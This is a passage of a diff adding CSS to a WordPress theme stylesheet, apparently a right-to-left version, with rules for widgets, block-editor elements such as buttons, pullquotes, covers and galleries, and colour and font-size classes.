+.widget_archive ul,
+.widget_categories ul,
+.widget_meta ul,
+.widget_nav_menu ul,
+.widget_pages ul,
+.widget_recent_comments ul,
+.widget_recent_entries ul,
+.widget_rss ul {
+  padding: 0;
+  list-style: none;
+}
+
+.widget_archive ul li,
+.widget_categories ul li,
+.widget_meta ul li,
+.widget_nav_menu ul li,
+.widget_pages ul li,
+.widget_recent_comments ul li,
+.widget_recent_entries ul li,
+.widget_rss ul li {
+  color: #767676;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-size: calc(22px * 1.125);
+  font-weight: 700;
+  line-height: 1.2;
+  margin-top: 0.5rem;
+  margin-bottom: 0.5rem;
+}
+
+.widget_archive ul ul,
+.widget_categories ul ul,
+.widget_meta ul ul,
+.widget_nav_menu ul ul,
+.widget_pages ul ul,
+.widget_recent_comments ul ul,
+.widget_recent_entries ul ul,
+.widget_rss ul ul {
+  counter-reset: submenu;
+}
+
+.widget_archive ul ul > li > a::before,
+.widget_categories ul ul > li > a::before,
+.widget_meta ul ul > li > a::before,
+.widget_nav_menu ul ul > li > a::before,
+.widget_pages ul ul > li > a::before,
+.widget_recent_comments ul ul > li > a::before,
+.widget_recent_entries ul ul > li > a::before,
+.widget_rss ul ul > li > a::before {
+  font-family: "NonBreakingSpaceOverride", "Hoefler Text", "Baskerville Old Face", Garamond, "Times New Roman", serif;
+  font-weight: normal;
+  content: "– " counters(submenu, "– ", none);
+  counter-increment: submenu;
+}
+
+.widget_tag_cloud .tagcloud {
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-weight: 700;
+}
+
+.widget_search .search-field {
+  width: 100%;
+}
+
+@media only screen and (min-width: 600px) {
+  .widget_search .search-field {
+    width: auto;
+  }
+}
+
+.widget_search .search-submit {
+  display: block;
+  margin-top: 1rem;
+}
+
+.widget_calendar .calendar_wrap {
+  text-align: center;
+}
+
+.widget_calendar .calendar_wrap table td,
+.widget_calendar .calendar_wrap table th {
+  border: none;
+}
+
+.widget_calendar .calendar_wrap a {
+  text-decoration: underline;
+}
+
+/* Blocks */
+/* !Block styles */
+.entry .entry-content > *,
+.entry .entry-summary > * {
+  margin: 32px 0;
+  max-width: 100%;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content > *,
+  .entry .entry-summary > * {
+    max-width: calc(8 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .entry .entry-content > *,
+  .entry .entry-summary > * {
+    max-width: calc(6 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content > *,
+  .entry .entry-summary > * {
+    margin: 32px 0;
+  }
+}
+
+.entry .entry-content > * > *:first-child,
+.entry .entry-summary > * > *:first-child {
+  margin-top: 0;
+}
+
+.entry .entry-content > * > *:last-child,
+.entry .entry-summary > * > *:last-child {
+  margin-bottom: 0;
+}
+
+.entry .entry-content > *.alignwide,
+.entry .entry-summary > *.alignwide {
+  margin-right: auto;
+  margin-left: auto;
+  clear: both;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content > *.alignwide,
+  .entry .entry-summary > *.alignwide {
+    width: 100%;
+    max-width: 100%;
+  }
+}
+
+.entry .entry-content > *.alignfull,
+.entry .entry-summary > *.alignfull {
+  position: relative;
+  right: -1rem;
+  width: calc( 100% + (2 * 1rem));
+  max-width: calc( 100% + (2 * 1rem));
+  clear: both;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content > *.alignfull,
+  .entry .entry-summary > *.alignfull {
+    margin-top: calc(2 * 1rem);
+    margin-bottom: calc(2 * 1rem);
+    right: calc( -12.5% - 75px);
+    width: calc( 125% + 150px);
+    max-width: calc( 125% + 150px);
+  }
+}
+
+.entry .entry-content > *.alignleft,
+.entry .entry-summary > *.alignleft {
+  float: left;
+  max-width: calc(5 * (100vw / 12));
+  margin-top: 0;
+  margin-right: 0;
+  margin-right: 1rem;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content > *.alignleft,
+  .entry .entry-summary > *.alignleft {
+    max-width: calc(4 * (100vw / 12));
+    margin-right: calc(2 * 1rem);
+  }
+}
+
+.entry .entry-content > *.alignright,
+.entry .entry-summary > *.alignright {
+  float: right;
+  max-width: calc(5 * (100vw / 12));
+  margin-top: 0;
+  margin-left: 0;
+  margin-left: 1rem;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content > *.alignright,
+  .entry .entry-summary > *.alignright {
+    max-width: calc(4 * (100vw / 12));
+    margin-left: 0;
+    margin-left: calc(2 * 1rem);
+  }
+}
+
+.entry .entry-content > *.aligncenter,
+.entry .entry-summary > *.aligncenter {
+  margin-right: auto;
+  margin-left: auto;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content > *.aligncenter,
+  .entry .entry-summary > *.aligncenter {
+    max-width: calc(8 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .entry .entry-content > *.aligncenter,
+  .entry .entry-summary > *.aligncenter {
+    max-width: calc(6 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content > *.aligncenter,
+  .entry .entry-summary > *.aligncenter {
+    margin-right: 0;
+    margin-left: 0;
+  }
+}
+
+/*
+ * Unset nested content selector styles
+ * - Prevents layout styles from cascading too deeply
+ * - helps with plugin compatibility
+ */
+.entry .entry-content .entry-content,
+.entry .entry-content .entry-summary,
+.entry .entry-content .entry,
+.entry .entry-summary .entry-content,
+.entry .entry-summary .entry-summary,
+.entry .entry-summary .entry {
+  margin: inherit;
+  max-width: inherit;
+  padding: inherit;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .entry-content,
+  .entry .entry-content .entry-summary,
+  .entry .entry-content .entry,
+  .entry .entry-summary .entry-content,
+  .entry .entry-summary .entry-summary,
+  .entry .entry-summary .entry {
+    margin: inherit;
+    max-width: inherit;
+    padding: inherit;
+  }
+}
+
+.entry .entry-content p.has-background {
+  padding: 20px 30px;
+}
+
+.entry .entry-content .wp-block-audio {
+  width: 100%;
+}
+
+.entry .entry-content .wp-block-audio audio {
+  width: 100%;
+}
+
+.entry .entry-content .wp-block-audio.alignleft audio,
+.entry .entry-content .wp-block-audio.alignright audio {
+  max-width: 198px;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-audio.alignleft audio,
+  .entry .entry-content .wp-block-audio.alignright audio {
+    max-width: 384px;
+  }
+}
+
+@media only screen and (min-width: 1379px) {
+  .entry .entry-content .wp-block-audio.alignleft audio,
+  .entry .entry-content .wp-block-audio.alignright audio {
+    max-width: 385.44px;
+  }
+}
+
+.entry .entry-content .wp-block-video video {
+  width: 100%;
+}
+
+.entry .entry-content .wp-block-button .wp-block-button__link {
+  transition: background 150ms ease-in-out;
+  border: none;
+  font-size: 0.88889em;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  line-height: 1.2;
+  box-sizing: border-box;
+  font-weight: bold;
+  text-decoration: none;
+  padding: 0.76rem 1rem;
+  outline: none;
+  outline: none;
+}
+
+.entry .entry-content .wp-block-button .wp-block-button__link:not(.has-background) {
+  background-color: #0073aa;
+}
+
+.entry .entry-content .wp-block-button .wp-block-button__link:not(.has-text-color) {
+  color: white;
+}
+
+.entry .entry-content .wp-block-button .wp-block-button__link:hover {
+  color: white;
+  background: #111;
+  cursor: pointer;
+}
+
+.entry .entry-content .wp-block-button .wp-block-button__link:focus {
+  color: white;
+  background: #111;
+  outline: thin dotted;
+  outline-offset: -4px;
+}
+
+.entry .entry-content .wp-block-button:not(.is-style-squared) .wp-block-button__link {
+  border-radius: 5px;
+}
+
+.entry .entry-content .wp-block-button.is-style-outline .wp-block-button__link,
+.entry .entry-content .wp-block-button.is-style-outline .wp-block-button__link:focus,
+.entry .entry-content .wp-block-button.is-style-outline .wp-block-button__link:active {
+  transition: all 150ms ease-in-out;
+  border-width: 2px;
+  border-style: solid;
+}
+
+.entry .entry-content .wp-block-button.is-style-outline .wp-block-button__link:not(.has-background),
+.entry .entry-content .wp-block-button.is-style-outline .wp-block-button__link:focus:not(.has-background),
+.entry .entry-content .wp-block-button.is-style-outline .wp-block-button__link:active:not(.has-background) {
+  background: transparent;
+}
+
+.entry .entry-content .wp-block-button.is-style-outline .wp-block-button__link:not(.has-text-color),
+.entry .entry-content .wp-block-button.is-style-outline .wp-block-button__link:focus:not(.has-text-color),
+.entry .entry-content .wp-block-button.is-style-outline .wp-block-button__link:active:not(.has-text-color) {
+  color: #0073aa;
+  border-color: currentColor;
+}
+
+.entry .entry-content .wp-block-button.is-style-outline .wp-block-button__link:hover {
+  color: white;
+  border-color: #111;
+}
+
+.entry .entry-content .wp-block-button.is-style-outline .wp-block-button__link:hover:not(.has-background) {
+  color: #111;
+}
+
+.entry .entry-content .wp-block-archives,
+.entry .entry-content .wp-block-categories,
+.entry .entry-content .wp-block-latest-posts {
+  padding: 0;
+  list-style: none;
+}
+
+.entry .entry-content .wp-block-archives li,
+.entry .entry-content .wp-block-categories li,
+.entry .entry-content .wp-block-latest-posts li {
+  color: #767676;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-size: calc(22px * 1.125);
+  font-weight: bold;
+  line-height: 1.2;
+  padding-bottom: 0.75rem;
+}
+
+.entry .entry-content .wp-block-archives li.menu-item-has-children, .entry .entry-content .wp-block-archives li:last-child,
+.entry .entry-content .wp-block-categories li.menu-item-has-children,
+.entry .entry-content .wp-block-categories li:last-child,
+.entry .entry-content .wp-block-latest-posts li.menu-item-has-children,
+.entry .entry-content .wp-block-latest-posts li:last-child {
+  padding-bottom: 0;
+}
+
+.entry .entry-content .wp-block-archives li a,
+.entry .entry-content .wp-block-categories li a,
+.entry .entry-content .wp-block-latest-posts li a {
+  text-decoration: none;
+}
+
+.entry .entry-content .wp-block-archives.aligncenter,
+.entry .entry-content .wp-block-categories.aligncenter {
+  text-align: center;
+}
+
+.entry .entry-content .wp-block-categories ul {
+  padding-top: 0.75rem;
+}
+
+.entry .entry-content .wp-block-categories li ul {
+  list-style: none;
+  padding-right: 0;
+}
+
+.entry .entry-content .wp-block-categories ul {
+  counter-reset: submenu;
+}
+
+.entry .entry-content .wp-block-categories ul > li > a::before {
+  font-family: "NonBreakingSpaceOverride", "Hoefler Text", "Baskerville Old Face", Garamond, "Times New Roman", serif;
+  font-weight: normal;
+  content: "– " counters(submenu, "– ", none);
+  counter-increment: submenu;
+}
+
+.entry .entry-content .wp-block-latest-posts.is-grid li {
+  border-top: 2px solid #ccc;
+  padding-top: 1rem;
+  margin-bottom: 2rem;
+}
+
+.entry .entry-content .wp-block-latest-posts.is-grid li a:after {
+  content: '';
+}
+
+.entry .entry-content .wp-block-latest-posts.is-grid li:last-child {
+  margin-bottom: auto;
+}
+
+.entry .entry-content .wp-block-latest-posts.is-grid li:last-child a:after {
+  content: '';
+}
+
+.entry .entry-content .wp-block-preformatted {
+  font-size: 0.71111em;
+  line-height: 1.8;
+  padding: 1rem;
+}
+
+.entry .entry-content .wp-block-verse {
+  font-family: "NonBreakingSpaceOverride", "Hoefler Text", "Baskerville Old Face", Garamond, "Times New Roman", serif;
+  font-size: 22px;
+  line-height: 1.8;
+}
+
+.entry .entry-content .has-drop-cap:not(:focus):first-letter {
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-size: 3.375em;
+  line-height: 1;
+  font-weight: bold;
+  margin: 0 0 0 0.25em;
+}
+
+.entry .entry-content .wp-block-pullquote {
+  border-color: transparent;
+  border-width: 2px;
+  padding: 1rem;
+}
+
+.entry .entry-content .wp-block-pullquote blockquote {
+  color: #111;
+  border: none;
+  margin-top: calc(4 * 1rem);
+  margin-bottom: calc(4.33 * 1rem);
+  margin-left: 0;
+  padding-right: 0;
+}
+
+.entry .entry-content .wp-block-pullquote p {
+  font-size: 1.6875em;
+  font-style: italic;
+  line-height: 1.3;
+  margin-bottom: 0.5em;
+  margin-top: 0.5em;
+}
+
+.entry .entry-content .wp-block-pullquote p em {
+  font-style: normal;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-pullquote p {
+    font-size: 2.25em;
+  }
+}
+
+.entry .entry-content .wp-block-pullquote cite {
+  display: inline-block;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  line-height: 1.6;
+  text-transform: none;
+  color: #767676;
+  /*
+			 * This requires a rem-based font size calculation instead of our normal em-based one,
+			 * because the cite tag sometimes gets wrapped in a p tag. This is equivalent to $font-size_xs.
+			 */
+  font-size: calc(1rem / (1.25 * 1.125));
+}
+
+.entry .entry-content .wp-block-pullquote.alignleft, .entry .entry-content .wp-block-pullquote.alignright {
+  width: 100%;
+  padding: 0;
+}
+
+.entry .entry-content .wp-block-pullquote.alignleft blockquote, .entry .entry-content .wp-block-pullquote.alignright blockquote {
+  margin: 1rem 0;
+  padding: 0;
+  text-align: right;
+  max-width: 100%;
+}
+
+.entry .entry-content .wp-block-pullquote.alignleft blockquote p:first-child, .entry .entry-content .wp-block-pullquote.alignright blockquote p:first-child {
+  margin-top: 0;
+}
+
+.entry .entry-content .wp-block-pullquote.is-style-solid-color {
+  background-color: #0073aa;
+  padding-right: 0;
+  padding-left: 0;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-pullquote.is-style-solid-color {
+    padding-right: 10%;
+    padding-left: 10%;
+  }
+}
+
+.entry .entry-content .wp-block-pullquote.is-style-solid-color p {
+  font-size: 1.6875em;
+  line-height: 1.3;
+  margin-bottom: 0.5em;
+  margin-top: 0.5em;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-pullquote.is-style-solid-color p {
+    font-size: 2.25em;
+  }
+}
+
+.entry .entry-content .wp-block-pullquote.is-style-solid-color a {
+  color: #fff;
+}
+
+.entry .entry-content .wp-block-pullquote.is-style-solid-color cite {
+  color: inherit;
+}
+
+.entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote {
+  max-width: 100%;
+  color: #fff;
+  padding-right: 0;
+  margin-right: 1rem;
+  margin-left: 1rem;
+}
+
+.entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-text-color p,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-text-color a, .entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-primary-color, .entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-secondary-color, .entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-dark-gray-color, .entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-light-gray-color, .entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-white-color {
+  color: inherit;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote {
+    margin-right: 0;
+    margin-left: 0;
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-pullquote.is-style-solid-color.alignright, .entry .entry-content .wp-block-pullquote.is-style-solid-color.alignleft {
+    padding: 1rem calc(2 * 1rem);
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-pullquote.is-style-solid-color.alignfull {
+    padding-right: calc(10% + 58px + (2 * 1rem));
+    padding-left: calc(10% + 58px + (2 * 1rem));
+  }
+}
+
+.entry .entry-content .wp-block-quote:not(.is-large), .entry .entry-content .wp-block-quote:not(.is-style-large) {
+  border-right: 2px solid #0073aa;
+  padding-top: 0;
+  padding-bottom: 0;
+}
+
+.entry .entry-content .wp-block-quote p {
+  font-size: 1em;
+  font-style: normal;
+  line-height: 1.8;
+}
+
+.entry .entry-content .wp-block-quote cite {
+  /*
+			 * This requires a rem-based font size calculation instead of our normal em-based one,
+			 * because the cite tag sometimes gets wrapped in a p tag. This is equivalent to $font-size_xs.
+			 */
+  font-size: calc(1rem / (1.25 * 1.125));
+}
+
+.entry .entry-content .wp-block-quote.is-large, .entry .entry-content .wp-block-quote.is-style-large {
+  margin: 1rem 0;
+  padding: 0;
+  border-right: none;
+}
+
+.entry .entry-content .wp-block-quote.is-large p, .entry .entry-content .wp-block-quote.is-style-large p {
+  font-size: 1.6875em;
+  line-height: 1.4;
+  font-style: italic;
+}
+
+.entry .entry-content .wp-block-quote.is-large cite,
+.entry .entry-content .wp-block-quote.is-large footer, .entry .entry-content .wp-block-quote.is-style-large cite,
+.entry .entry-content .wp-block-quote.is-style-large footer {
+  /*
+				 * This requires a rem-based font size calculation instead of our normal em-based one,
+				 * because the cite tag sometimes gets wrapped in a p tag. This is equivalent to $font-size_xs.
+				 */
+  font-size: calc(1rem / (1.25 * 1.125));
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-quote.is-large, .entry .entry-content .wp-block-quote.is-style-large {
+    margin: 1rem 0;
+    padding: 1rem 0;
+  }
+  .entry .entry-content .wp-block-quote.is-large p, .entry .entry-content .wp-block-quote.is-style-large p {
+    font-size: 1.6875em;
+  }
+}
+
+.entry .entry-content .wp-block-image {
+  max-width: 100%;
+}
+
+.entry .entry-content .wp-block-image img {
+  display: block;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-image .aligncenter {
+    max-width: calc(8 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .entry .entry-content .wp-block-image .aligncenter {
+    max-width: calc(6 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-image .aligncenter {
+    margin: 0;
+    width: calc(8 * (100vw / 12) - 28px);
+  }
+  .entry .entry-content .wp-block-image .aligncenter img {
+    margin: 0 auto;
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .entry .entry-content .wp-block-image .aligncenter {
+    width: calc(6 * (100vw / 12) - 28px);
+  }
+  .entry .entry-content .wp-block-image .aligncenter img {
+    margin: 0 auto;
+  }
+}
+
+.entry .entry-content .wp-block-image.alignfull img {
+  width: 100vw;
+  max-width: calc( 100% + (2 * 1rem));
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-image.alignfull img {
+    max-width: calc( 125% + 150px);
+    margin-right: auto;
+    margin-left: auto;
+  }
+}
+
+.entry .entry-content .wp-block-cover-image,
+.entry .entry-content .wp-block-cover {
+  position: relative;
+  min-height: 430px;
+  padding: 1rem;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-cover-image,
+  .entry .entry-content .wp-block-cover {
+    padding: 1rem 10%;
+  }
+}
+
+.entry .entry-content .wp-block-cover-image .wp-block-cover-image-text,
+.entry .entry-content .wp-block-cover-image .wp-block-cover-text,
+.entry .entry-content .wp-block-cover-image h2,
+.entry .entry-content .wp-block-cover .wp-block-cover-image-text,
+.entry .entry-content .wp-block-cover .wp-block-cover-text,
+.entry .entry-content .wp-block-cover h2 {
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-size: 1.6875em;
+  font-weight: bold;
+  line-height: 1.25;
+  padding: 0;
+  color: #fff;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-cover-image .wp-block-cover-image-text,
+  .entry .entry-content .wp-block-cover-image .wp-block-cover-text,
+  .entry .entry-content .wp-block-cover-image h2,
+  .entry .entry-content .wp-block-cover .wp-block-cover-image-text,
+  .entry .entry-content .wp-block-cover .wp-block-cover-text,
+  .entry .entry-content .wp-block-cover h2 {
+    font-size: 2.25em;
+    max-width: 100%;
+  }
+}
+
+.entry .entry-content .wp-block-cover-image.alignleft, .entry .entry-content .wp-block-cover-image.alignright,
+.entry .entry-content .wp-block-cover.alignleft,
+.entry .entry-content .wp-block-cover.alignright {
+  width: 100%;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-cover-image.alignleft, .entry .entry-content .wp-block-cover-image.alignright,
+  .entry .entry-content .wp-block-cover.alignleft,
+  .entry .entry-content .wp-block-cover.alignright {
+    padding: 1rem calc(2 * 1rem);
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-cover-image.alignfull .wp-block-cover-image-text,
+  .entry .entry-content .wp-block-cover-image.alignfull .wp-block-cover-text,
+  .entry .entry-content .wp-block-cover-image.alignfull h2,
+  .entry .entry-content .wp-block-cover.alignfull .wp-block-cover-image-text,
+  .entry .entry-content .wp-block-cover.alignfull .wp-block-cover-text,
+  .entry .entry-content .wp-block-cover.alignfull h2 {
+    max-width: calc(8 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .entry .entry-content .wp-block-cover-image.alignfull .wp-block-cover-image-text,
+  .entry .entry-content .wp-block-cover-image.alignfull .wp-block-cover-text,
+  .entry .entry-content .wp-block-cover-image.alignfull h2,
+  .entry .entry-content .wp-block-cover.alignfull .wp-block-cover-image-text,
+  .entry .entry-content .wp-block-cover.alignfull .wp-block-cover-text,
+  .entry .entry-content .wp-block-cover.alignfull h2 {
+    max-width: calc(6 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-cover-image.alignfull,
+  .entry .entry-content .wp-block-cover.alignfull {
+    padding-right: calc(10% + 58px + (2 * 1rem));
+    padding-left: calc(10% + 58px + (2 * 1rem));
+  }
+  .entry .entry-content .wp-block-cover-image.alignfull .wp-block-cover-image-text,
+  .entry .entry-content .wp-block-cover-image.alignfull .wp-block-cover-text,
+  .entry .entry-content .wp-block-cover-image.alignfull h2,
+  .entry .entry-content .wp-block-cover.alignfull .wp-block-cover-image-text,
+  .entry .entry-content .wp-block-cover.alignfull .wp-block-cover-text,
+  .entry .entry-content .wp-block-cover.alignfull h2 {
+    padding: 0;
+  }
+}
+
+.entry .entry-content .wp-block-gallery {
+  list-style-type: none;
+  padding-right: 0;
+}
+
+.entry .entry-content .wp-block-gallery .blocks-gallery-image:last-child,
+.entry .entry-content .wp-block-gallery .blocks-gallery-item:last-child {
+  margin-bottom: 16px;
+}
+
+.entry .entry-content .wp-block-gallery figcaption a {
+  color: #fff;
+}
+
+.entry .entry-content .wp-block-audio figcaption,
+.entry .entry-content .wp-block-video figcaption,
+.entry .entry-content .wp-block-image figcaption,
+.entry .entry-content .wp-block-gallery .blocks-gallery-image figcaption,
+.entry .entry-content .wp-block-gallery .blocks-gallery-item figcaption {
+  font-size: 0.71111em;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  line-height: 1.6;
+  margin: 0;
+  padding: 0.5rem;
+  text-align: center;
+}
+
+.entry .entry-content .wp-block-separator,
+.entry .entry-content hr {
+  background-color: #767676;
+  border: 0;
+  height: 2px;
+  margin-bottom: 2rem;
+  margin-top: 2rem;
+  max-width: 2.25em;
+  text-align: right;
+  /* Remove duplicate rule-line when a separator
+		 * is followed by an H1, or H2 */
+}
+
+.entry .entry-content .wp-block-separator.is-style-wide,
+.entry .entry-content hr.is-style-wide {
+  max-width: 100%;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-separator.is-style-wide,
+  .entry .entry-content hr.is-style-wide {
+    max-width: calc(8 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .entry .entry-content .wp-block-separator.is-style-wide,
+  .entry .entry-content hr.is-style-wide {
+    max-width: calc(6 * (100vw / 12) - 28px);
+  }
+}
+
+.entry .entry-content .wp-block-separator.is-style-dots,
+.entry .entry-content hr.is-style-dots {
+  max-width: 100%;
+  background-color: inherit;
+  border: inherit;
+  height: inherit;
+  text-align: center;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-separator.is-style-dots,
+  .entry .entry-content hr.is-style-dots {
+    max-width: calc(8 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .entry .entry-content .wp-block-separator.is-style-dots,
+  .entry .entry-content hr.is-style-dots {
+    max-width: calc(6 * (100vw / 12) - 28px);
+  }
+}
+
+.entry .entry-content .wp-block-separator.is-style-dots:before,
+.entry .entry-content hr.is-style-dots:before {
+  color: #767676;
+  font-size: 1.6875em;
+  letter-spacing: 0.88889em;
+  padding-right: 0.88889em;
+}
+
+.entry .entry-content .wp-block-separator + h1:before,
+.entry .entry-content .wp-block-separator + h2:before,
+.entry .entry-content hr + h1:before,
+.entry .entry-content hr + h2:before {
+  display: none;
+}
+
+.entry .entry-content .wp-block-embed-twitter {
+  word-break: break-word;
+}
+
+.entry .entry-content .wp-block-table th,
+.entry .entry-content .wp-block-table td {
+  border-color: #767676;
+}
+
+.entry .entry-content .wp-block-file {
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+}
+
+.entry .entry-content .wp-block-file .wp-block-file__button {
+  display: table;
+  transition: background 150ms ease-in-out;
+  border: none;
+  border-radius: 5px;
+  background: #0073aa;
+  font-size: 22px;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  line-height: 1.2;
+  text-decoration: none;
+  font-weight: bold;
+  padding: 0.75rem 1rem;
+  color: #fff;
+  margin-right: 0;
+  margin-top: calc(0.75 * 1rem);
+}
+
+@media only screen and (min-width: 1168px) {
+  .entry .entry-content .wp-block-file .wp-block-file__button {
+    font-size: 22px;
+    padding: 0.875rem 1.5rem;
+  }
+}
+
+.entry .entry-content .wp-block-file .wp-block-file__button:hover {
+  background: #111;
+  cursor: pointer;
+}
+
+.entry .entry-content .wp-block-file .wp-block-file__button:focus {
+  background: #111;
+  outline: thin dotted;
+  outline-offset: -4px;
+}
+
+.entry .entry-content .wp-block-code {
+  border-radius: 0;
+}
+
+.entry .entry-content .wp-block-code code {
+  font-size: 1.125em;
+  white-space: pre-wrap;
+  word-break: break-word;
+}
+
+.entry .entry-content .wp-block-columns.alignfull {
+  padding-right: 1rem;
+  padding-left: 1rem;
+}
+
+@media only screen and (min-width: 600px) {
+  .entry .entry-content .wp-block-columns {
+    flex-wrap: nowrap;
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-block-columns .wp-block-column > *:first-child {
+    margin-top: 0;
+  }
+  .entry .entry-content .wp-block-columns .wp-block-column > *:last-child {
+    margin-bottom: 0;
+  }
+  .entry .entry-content .wp-block-columns[class*='has-'] > * {
+    margin-left: 1rem;
+  }
+  .entry .entry-content .wp-block-columns[class*='has-'] > *:last-child {
+    margin-left: 0;
+  }
+  .entry .entry-content .wp-block-columns.alignfull,
+  .entry .entry-content .wp-block-columns.alignfull .wp-block-column {
+    padding-right: calc(2 * 1rem);
+    padding-left: calc(2 * 1rem);
+  }
+}
+
+.entry .entry-content .wp-block-latest-comments .wp-block-latest-comments__comment-meta {
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-weight: bold;
+}
+
+.entry .entry-content .wp-block-latest-comments .wp-block-latest-comments__comment-meta .wp-block-latest-comments__comment-date {
+  font-weight: normal;
+}
+
+.entry .entry-content .wp-block-latest-comments .wp-block-latest-comments__comment,
+.entry .entry-content .wp-block-latest-comments .wp-block-latest-comments__comment-date,
+.entry .entry-content .wp-block-latest-comments .wp-block-latest-comments__comment-excerpt p {
+  font-size: inherit;
+}
+
+.entry .entry-content .wp-block-latest-comments.has-dates .wp-block-latest-comments__comment-date {
+  font-size: 0.71111em;
+}
+
+.entry .entry-content .has-small-font-size {
+  font-size: 0.88889em;
+}
+
+.entry .entry-content .has-normal-font-size {
+  font-size: 1.125em;
+}
+
+.entry .entry-content .has-large-font-size {
+  font-size: 1.6875em;
+}
+
+.entry .entry-content .has-huge-font-size {
+  font-size: 2.25em;
+}
+
+.entry .entry-content .has-primary-background-color,
+.entry .entry-content .has-secondary-background-color,
+.entry .entry-content .has-dark-gray-background-color,
+.entry .entry-content .has-light-gray-background-color {
+  color: #fff;
+}
+
+.entry .entry-content .has-primary-background-color p,
+.entry .entry-content .has-primary-background-color h1,
+.entry .entry-content .has-primary-background-color h2,
+.entry .entry-content .has-primary-background-color h3,
+.entry .entry-content .has-primary-background-color h4,
+.entry .entry-content .has-primary-background-color h5,
+.entry .entry-content .has-primary-background-color h6,
+.entry .entry-content .has-primary-background-color a,
+.entry .entry-content .has-secondary-background-color p,
+.entry .entry-content .has-secondary-background-color h1,
+.entry .entry-content .has-secondary-background-color h2,
+.entry .entry-content .has-secondary-background-color h3,
+.entry .entry-content .has-secondary-background-color h4,
+.entry .entry-content .has-secondary-background-color h5,
